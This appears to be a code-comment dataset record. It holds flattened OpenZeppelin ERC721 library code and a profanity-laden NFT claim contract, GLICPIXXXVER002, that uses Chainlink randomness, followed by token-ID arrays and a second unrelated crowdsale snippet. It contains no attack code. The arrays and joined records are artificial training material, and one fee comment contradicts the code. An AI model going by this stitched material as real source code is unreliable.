uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT /** GGGG LL IIIII CCCCC PPPPPP IIIII XX XX XX XX XX XX VV VV EEEEEEE RRRRRR 00000 00000 2222 GG GG LL III CC C PP PP III XX XX XX XX XX XX VV VV EE RR RR 00 00 00 00 222222 GG LL III CC PPPPPP III XXXX XXXX XXXX VV VV EEEEE RRRRRR 00 00 00 00 222 GG GG LL III CC C PP III XX XX XX XX XX XX VV VV EE RR RR 00 00 00 00 2222 GGGGGG LLLLLLL IIIII CCCCC PP IIIII XX XX XX XX XX XX VVV EEEEEEE RR RR 00000 00000 2222222 BERK AKA PRINCESS CAMEL SAYS HI I WANNA THANK YOU BASTARDS AND FOR EMBRACING THE BASTARDNESS, BEING GOOD PEOPLE AND FORMING A BADA$$ FRIENDLY HELPFUL COMMUNITY THIS PROJECT IS BOTH A GIFT TO ALL OF YOU (INCLUDING GLICPIXXXVER001 HOLDERS), ALSO AN EXPERIMENT TO HAVE A GOOD CONTRIBUTION TO CONTEMPORARY/FUTURE VISUAL CULTURE AND BOOST CREATIVITY IN NFT SPACE EVERYTHING IS A REMIX EVERY DIGITAL THING WE USE IS A SOFTWARE EVERY TECHNOLOGY IS BIASED EVERY DIGITAL MEDIA IS ENCODED WITH THOSE BIASES ROSES ARE BLUE & VIOLETS ARE RED I AM GREEN IS YOUR GLICPIXXX PURPLE? XOXO https://berkozdemir.com @berkozdemir */ pragma solidity ^0.8.0; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface ClaimFromERC721 { function ownerOf(uint _id) external view returns (address); } contract GLICPIXXXVER002 is ERC721Enumerable, Ownable, VRFConsumerBase { string public _baseTokenURI; // VRF SHIT bytes32 internal keyHash; uint256 internal fee; // IMPORTANT STUFF REGARDING MINTING bool public claimRunning = false; bool public mintStartIndexDrawn = false; uint256 public mintStartIndex; // IS DETERMINED WITH FUCKIN' VRF // THESE ARE FOR MINT ID CALCULATION AFTER MINTSTARTINDEX IS DRAWN uint256 public BGANPUNKSV1CLAIMSTART = 0; // 74 BGANPUNKS V1 uint256 public BGANPUNKSV2CLAIMSTART = 74; // 11305 BGANPUNKS V2 - 0 + 74 uint256 public GLICPIXV1CLAIMSTART = 11379; // 37 GLICPIXXX - 11305 + 74 uint256 public DEVMINTSTART = 11416; // 84 DEVMINT - 11379 + 37 uint256 public totalGLICPIX = 11500; // 11416 + 84 // FUCK YEAH string public GLICPIXXXIMAGEPROVENANCEIPFSHASH = "QmZ9yhTcSz7kTxJmVmbfAgDSb5DeRMKSdrAqKyjPz5Xcoe"; mapping (uint256 => uint256) public V1BASTARDIDs; // RARIBLE SMART CONTRACTS LOVE TO PUT WEIRD ID NUMBERS FOR MINTS, SO I AM KEEPING A MAPPING TO ASSIGN IDS TO 0,1,2,3... // MMMMMHHHHH VERY SEXY ADDRESSES address public BGANPUNKSV1ADDRESS = 0x9126B817CCca682BeaA9f4EaE734948EE1166Af1; address public BGANPUNKSV2ADDRESS = 0x31385d3520bCED94f77AaE104b406994D8F2168C; address public GLICPIXV1ADDRESS = 0xba15Eb922FEb96D017e1B2ac0d6fF04044A611BB; enum CollectionToClaim { BGANPUNKSV1, BGANPUNKSV2, GLICPIXV1, DEVMINT } event glicpixv2Claimed(CollectionToClaim _collection, uint256 tokenId, uint256 glicpixv2idBeingMinted, address _claimer); event randomStartingIndexDrawn(uint256 mintStartIndex); /** CHAINLINK VRF MAINNET STUFF 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator 0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; fee = 2 * 10 ** 18; // 2 LINK (Varies by network) */ constructor() ERC721("GLICPIXXXVER002 - GRAND COLLECTION", "GLICPIXXXVER002") VRFConsumerBase( 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator 0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token ) { keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; fee = 2 * 10 ** 18; // 0.1 LINK (Varies by network) V1BASTARDIDs[5389] = 0; V1BASTARDIDs[10001] = 1; V1BASTARDIDs[10003] = 2; V1BASTARDIDs[10004] = 3; V1BASTARDIDs[10005] = 4; V1BASTARDIDs[10006] = 5; V1BASTARDIDs[10007] = 6; V1BASTARDIDs[10008] = 7; V1BASTARDIDs[10009] = 8; V1BASTARDIDs[10012] = 9; V1BASTARDIDs[10013] = 10; V1BASTARDIDs[10015] = 11; V1BASTARDIDs[10016] = 12; V1BASTARDIDs[10017] = 13; V1BASTARDIDs[10018] = 14; V1BASTARDIDs[10019] = 15; V1BASTARDIDs[10020] = 16; V1BASTARDIDs[10021] = 17; V1BASTARDIDs[10022] = 18; V1BASTARDIDs[10023] = 19; V1BASTARDIDs[10024] = 20; V1BASTARDIDs[10026] = 21; V1BASTARDIDs[10031] = 22; V1BASTARDIDs[10032] = 23; V1BASTARDIDs[10033] = 24; V1BASTARDIDs[10034] = 25; V1BASTARDIDs[10035] = 26; V1BASTARDIDs[10036] = 27; V1BASTARDIDs[10037] = 28; V1BASTARDIDs[10038] = 29; V1BASTARDIDs[10039] = 30; V1BASTARDIDs[10040] = 31; V1BASTARDIDs[10041] = 32; V1BASTARDIDs[10043] = 33; V1BASTARDIDs[10045] = 34; V1BASTARDIDs[10046] = 35; V1BASTARDIDs[10047] = 36; V1BASTARDIDs[10048] = 37; V1BASTARDIDs[10049] = 38; V1BASTARDIDs[10050] = 39; V1BASTARDIDs[10051] = 40; V1BASTARDIDs[10053] = 41; V1BASTARDIDs[10054] = 42; V1BASTARDIDs[10055] = 43; V1BASTARDIDs[10056] = 44; V1BASTARDIDs[10057] = 45; V1BASTARDIDs[10058] = 46; V1BASTARDIDs[10059] = 47; V1BASTARDIDs[10061] = 48; V1BASTARDIDs[10062] = 49; V1BASTARDIDs[10063] = 50; V1BASTARDIDs[10064] = 51; V1BASTARDIDs[10067] = 52; V1BASTARDIDs[10068] = 53; V1BASTARDIDs[10070] = 54; V1BASTARDIDs[10075] = 55; V1BASTARDIDs[10076] = 56; V1BASTARDIDs[10077] = 57; V1BASTARDIDs[10078] = 58; V1BASTARDIDs[10079] = 59; V1BASTARDIDs[10080] = 60; V1BASTARDIDs[10081] = 61; V1BASTARDIDs[10083] = 62; V1BASTARDIDs[10084] = 63; V1BASTARDIDs[10085] = 64; V1BASTARDIDs[10086] = 65; V1BASTARDIDs[10087] = 66; V1BASTARDIDs[10088] = 67; V1BASTARDIDs[10089] = 68; V1BASTARDIDs[10090] = 69; V1BASTARDIDs[10091] = 70; V1BASTARDIDs[10093] = 71; V1BASTARDIDs[10094] = 72; V1BASTARDIDs[10095] = 73; } function showLicense(uint _id) public view returns(string memory) { require(_id < totalGLICPIX, "CHOOSE A GLICPIXXX INSIDE RANGE"); return "IF YOU OWN A GLICPIXXX, YOU CAN DO WHATEVER THE FUCK YOU WANT WITH IT! YOUR GLICPIXXX, YOUR CALL. MAKE GLICPIXXX YOUR BEST FRIEND. MAKE WONDERS WITH IT. XOXO"; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } function startClaim() public onlyOwner { require(mintStartIndexDrawn, "RANDOM NUMBER STILL HASN'T DRAWN"); claimRunning = true; } function pauseClaim() public onlyOwner { claimRunning = false; } // I REMOVED TOKENSOFOWNER FUNCTION BECAUSE I RAN OUT OF BYTESIZE FOR DEPLOYING THE CONTRACT. // IF YOU NEED THIS FUNCTION FOR YOUR FRONTEND, USE THIS CONTRACT FROM GENIUS 0XMONS CREATOR WHERE YOU CAN GET IDS A WALLET OWNS FROM ANY ERC721 CONTRACT // ADDRESS: 0xF83eEE39E723526605d784917b6e38ebCF0f0207 // function tokensOfOwner(address _owner) external view returns(uint256[] memory) { // uint256 tokenCount = balanceOf(_owner); // if (tokenCount == 0) { // // Return an empty array // return new uint256[](0); // } else { // uint256[] memory result = new uint256[](tokenCount); // uint256 index; // for (index = 0; index < tokenCount; index++) { // result[index] = tokenOfOwnerByIndex(_owner, index); // } // return result; // } // } // YEAH ALSO I HAD TO COMMENT THIS FUNCTION CAUSE THERE WASN'T ANY SPACE LEFT // function calculateStartingIndexPerCollection(CollectionToClaim _collection) public view returns(uint256){ // if(_collection == CollectionToClaim.BGANPUNKSV1) { // return (BGANPUNKSV1CLAIMSTART + mintStartIndex) % totalGLICPIX; // } // else if (_collection == CollectionToClaim.BGANPUNKSV2) { // return (BGANPUNKSV2CLAIMSTART + mintStartIndex) % totalGLICPIX; // } // else if (_collection == CollectionToClaim.GLICPIXV1) { // return (GLICPIXV1CLAIMSTART + mintStartIndex) % totalGLICPIX; // } // else if (_collection == CollectionToClaim.DEVMINT) { // return (DEVMINTSTART + mintStartIndex) % totalGLICPIX; // } // else { // revert(); // } // } // I THINK THE NAME IS SUPER CLEAR LMAO function getWhichGLICPIXXYouAreGetting_BATCH(CollectionToClaim _collection, uint256[] memory tokenIds) public view returns(uint256[] memory) { require(mintStartIndexDrawn); uint256[] memory ids = new uint256[](tokenIds.length); if(_collection == CollectionToClaim.BGANPUNKSV1) { for(uint i = 0; i<tokenIds.length;i++) { uint tokenId = tokenIds[i]; require(tokenId == 5389 || V1BASTARDIDs[tokenId] != 0); ids[i]= (V1BASTARDIDs[tokenId] + BGANPUNKSV1CLAIMSTART + mintStartIndex) % totalGLICPIX; } } else if (_collection == CollectionToClaim.BGANPUNKSV2) { for(uint i = 0; i<tokenIds.length;i++) { uint tokenId = tokenIds[i]; require(tokenId < 11305); ids[i] = (tokenId + BGANPUNKSV2CLAIMSTART + mintStartIndex) % totalGLICPIX; } } else if (_collection == CollectionToClaim.GLICPIXV1) { for(uint i = 0; i<tokenIds.length;i++) { uint tokenId = tokenIds[i]; require(tokenId < 37); ids[i] = (tokenId + GLICPIXV1CLAIMSTART + mintStartIndex) % totalGLICPIX; } } else if (_collection == CollectionToClaim.DEVMINT) { for(uint i = 0; i<tokenIds.length;i++) { uint tokenId = tokenIds[i]; require(tokenId < 84); ids[i] = (tokenId + DEVMINTSTART + mintStartIndex) % totalGLICPIX; } } else { revert(); } return ids; } // ARE THE GLICPIXXX CLAIMED BOOLEAN function isGLICPIXXXTaken_BATCH(CollectionToClaim _collection, uint256[] memory tokenIds) public view returns(bool[] memory) { uint256[] memory ids = getWhichGLICPIXXYouAreGetting_BATCH(_collection, tokenIds); bool[] memory isit = new bool[](tokenIds.length); for(uint i = 0; i<tokenIds.length;i++) { isit[i] = _exists(ids[i]); } return isit; } // BERK GETS SOME SWEET SNACKS function devMint_BATCH(uint256[] memory tokenIds , address _mintTo) public onlyOwner { require(claimRunning && mintStartIndexDrawn); for(uint i = 0; i<tokenIds.length;i++) { uint tokenId = tokenIds[i]; require(tokenId < 84); uint glicpixv2idBeingMinted = (tokenId + DEVMINTSTART + mintStartIndex) % totalGLICPIX; _safeMint(_mintTo, glicpixv2idBeingMinted); emit glicpixv2Claimed(CollectionToClaim.DEVMINT, tokenId, glicpixv2idBeingMinted, _mintTo); } } // PEOPLE GET SOME SWEET GLITCHY SNACKS function mintGLICPIXV2_BATCH(CollectionToClaim _collection, uint256[] memory tokenIds) public { require(claimRunning && mintStartIndexDrawn); require(tokenIds.length > 0 && tokenIds.length <= 30); if(_collection == CollectionToClaim.BGANPUNKSV1) { for(uint i = 0; i<tokenIds.length;i++) { uint tokenId = tokenIds[i]; require(tokenId == 5389 || V1BASTARDIDs[tokenId] != 0); require(ClaimFromERC721(BGANPUNKSV1ADDRESS).ownerOf(tokenId) == msg.sender); uint glicpixv2idBeingMinted = (V1BASTARDIDs[tokenId] + BGANPUNKSV1CLAIMSTART + mintStartIndex) % totalGLICPIX; _safeMint(msg.sender, glicpixv2idBeingMinted); emit glicpixv2Claimed(_collection, tokenId, glicpixv2idBeingMinted, msg.sender); } } else if (_collection == CollectionToClaim.BGANPUNKSV2) { for(uint i = 0; i<tokenIds.length;i++) { uint tokenId = tokenIds[i]; require(tokenId < 11305); require(ClaimFromERC721(BGANPUNKSV2ADDRESS).ownerOf(tokenId) == msg.sender); uint glicpixv2idBeingMinted = (tokenId + BGANPUNKSV2CLAIMSTART + mintStartIndex) % totalGLICPIX; _safeMint(msg.sender, glicpixv2idBeingMinted); emit glicpixv2Claimed(_collection, tokenId, glicpixv2idBeingMinted, msg.sender); } } else if (_collection == CollectionToClaim.GLICPIXV1) { for(uint i = 0; i<tokenIds.length;i++) { uint tokenId = tokenIds[i]; require(tokenId < 37); require(ClaimFromERC721(GLICPIXV1ADDRESS).ownerOf(tokenId) == msg.sender); uint glicpixv2idBeingMinted = (tokenId + GLICPIXV1CLAIMSTART + mintStartIndex) % totalGLICPIX; _safeMint(msg.sender, glicpixv2idBeingMinted); emit glicpixv2Claimed(_collection, tokenId, glicpixv2idBeingMinted, msg.sender); } } else { revert(); } } // THIS IS CALLED ONLY ONCE BEFORE CLAIMS ARE OPENED. THE FUNCTIONS BELOW REQUEST A RANDOM NUMBER FROM CHAINLINK TO SHIFT WHICH NFT CAN CLAIM WHICH GLICPIX /** * Requests randomness */ function setRandomNumberForStartingIndexOfMintIds() public onlyOwner returns (bytes32 requestId) { require(!mintStartIndexDrawn , "RNG ALREADY DRAWN"); require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK"); return requestRandomness(keyHash, fee); } /** * Callback function used by VRF Coordinator */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { mintStartIndex = randomness % totalGLICPIX; if(mintStartIndex == 0) { mintStartIndex = 1; } emit randomStartingIndexDrawn(mintStartIndex); mintStartIndexDrawn = true; } function withdrawLink() external onlyOwner { require(LINK.transfer(msg.sender, LINK.balanceOf(address(this))), "Unable to transfer"); } // COMMENT THIS FUNCTION ON PRODUCTION. ONLY FOR TESTING // function testt() public onlyOwner{ // mintStartIndex = 2000; // mintStartIndexDrawn = true; // } }
RARIBLE SMART CONTRACTS LOVE TO PUT WEIRD ID NUMBERS FOR MINTS, SO I AM KEEPING A MAPPING TO ASSIGN IDS TO 0,1,2,3...
mapping (uint256 => uint256) public V1BASTARDIDs;
5,939,885
[ 1, 54, 985, 13450, 900, 12014, 4928, 8020, 2849, 1268, 55, 1806, 3412, 8493, 11443, 13880, 7937, 40, 1599, 15532, 55, 12108, 490, 3217, 55, 16, 7460, 467, 20653, 1475, 9383, 20002, 432, 28801, 8493, 25116, 1599, 55, 8493, 374, 16, 21, 16, 22, 16, 23, 2777, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 6770, 261, 11890, 5034, 516, 2254, 5034, 13, 1071, 776, 21, 38, 9053, 8085, 5103, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x9E7c03Bb6Fe4278216AEA0bceF88019f912aE597/sources/ICO.sol
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. @param beneficiary Address performing the token purchase @param tokenAmount Number of tokens to be emitted/
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal{ _token.safeTransfer(beneficiary, tokenAmount); }
3,346,307
[ 1, 1830, 434, 2430, 18, 1439, 333, 707, 358, 5612, 326, 4031, 316, 1492, 326, 276, 492, 2377, 5349, 225, 406, 381, 5173, 5571, 471, 9573, 2097, 2430, 18, 225, 27641, 74, 14463, 814, 5267, 14928, 326, 1147, 23701, 225, 1147, 6275, 3588, 434, 2430, 358, 506, 17826, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
